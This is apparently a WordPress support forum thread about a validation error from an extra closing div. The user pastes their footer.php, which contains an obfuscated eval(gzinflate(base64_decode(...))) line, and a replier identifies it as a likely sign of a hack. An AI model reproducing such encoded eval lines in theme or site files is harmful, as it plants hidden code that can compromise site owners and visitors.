• I only have 3 errors left to validate my page. I can’t find out where to go to fix these errors and how to fix them. The errors are:

    Line 499, Column 5: end tag for element “div” which is not open .
    </div>

    Line 499, Column 6: XML Parsing Error: Opening and ending tag mismatch: body line 51 and div .
    </div>

    Line 507, Column 7: XML Parsing Error: Opening and ending tag mismatch: html line 2 and body .
    </body>

    My site is at http://www.ilovemoneymorethanyou.com

    I can’t seem to find the place to fix these errors. I don’t know what to do! Please help. Thanks.

Viewing 6 replies - 1 through 6 (of 6 total)
  • Hi

    It looks like you have an extra closing </div> tag. Its probably in your footer.php file, if not check the very bottom of index.php.

    The validator shows 3 </div> tags in a row, lines 497 – 499

    Fixing that will likely clean up the other 2 errors.

    Thread Starter daneault23

    (@daneault23)

    When I looked in my footer.php this is what is there:
    <?php eval(gzinflate(base64_decode(‘bU89C8IwEN3zK45MujSDm6YpKA4iThUcpTVXU2hNSE5D++s11qk4Pd7dvY8rFJO6fUGrc95YS+i5YuXhVO6Pqx2cDfYI9QCyAuOxybkhcmshajuO+Biym+25+hEpKgVbb593Q/80McYsOkqWofGISSw4UEsd5vxivXYeQ5hCA1fzSfJnTIpPXTWHwhkH0V2nFxbLDRRpWVs9JDTUd+p7xOAN’)));?>

    I have no idea what that is. I then looked in my index.php and I saw there was 3 </div> tags in a row and I deleted the last two, and checked the page and it said it was still the same. I don’t wanna mess up the page so I still have one </div> left. This is what it looks like now:

    <?php
    get_header();
    ?>
    <?php get_sidebar(); ?>

    <!– start index–>
    <div id=”main”>
    <div class=”main-text”>

    <?php if (have_posts()) : while (have_posts()) : the_post(); ?>

    <h1>” rel=”bookmark”><?php the_title(); ?></h1>

    <div class=”date”>
    <span class=”post-cat”>Posted in: <?php the_category(‘,’) ?></span> | <span class=”post-date”> <?php the_time(‘F jS, Y’) ?></span>
    </div>

    <?php the_content(__(‘(more…)’)); ?>

    <?php wp_link_pages(); ?>
    <div class=”komentar”><?php comments_popup_link(‘No Comments »’, ‘1 Comment »’, ‘% Comments »’); ?></div>

    <?php comments_template(); // Get wp-comments.php template ?>

    <?php endwhile; else: ?>

    <p><?php _e(‘Sorry, no posts matched your criteria.’); ?></p>
    <?php endif; ?>

    <?php posts_nav_link(‘ — ‘, __(‘« Older Posts’), __(‘Newer Posts »’)); ?>
    </div>

    <?php get_footer(); ?>

    Do you see the last </div> after the “?>” above. I don’t know what to do. Thanks for your help though.

    When I looked in my footer.php this is what is there:
    <?php eval(gzinflate(base64_decode(‘bU89C8IwEN3zK45MujSDm6…

    Yuck, that looks like the kind of stuff you get from being hacked. I don’t think code errors should be your main concern right now.

    anybody who can help me with this?

    Thread Starter daneault23

    (@daneault23)

    great.. well that sucks… yea i was pretty sure it wasn’t supposed to look like that..

    @tradeartist

    Help you with what?

Viewing 6 replies - 1 through 6 (of 6 total)
  • The topic ‘Can’t find how/where to fix these errors!’ is closed to new replies.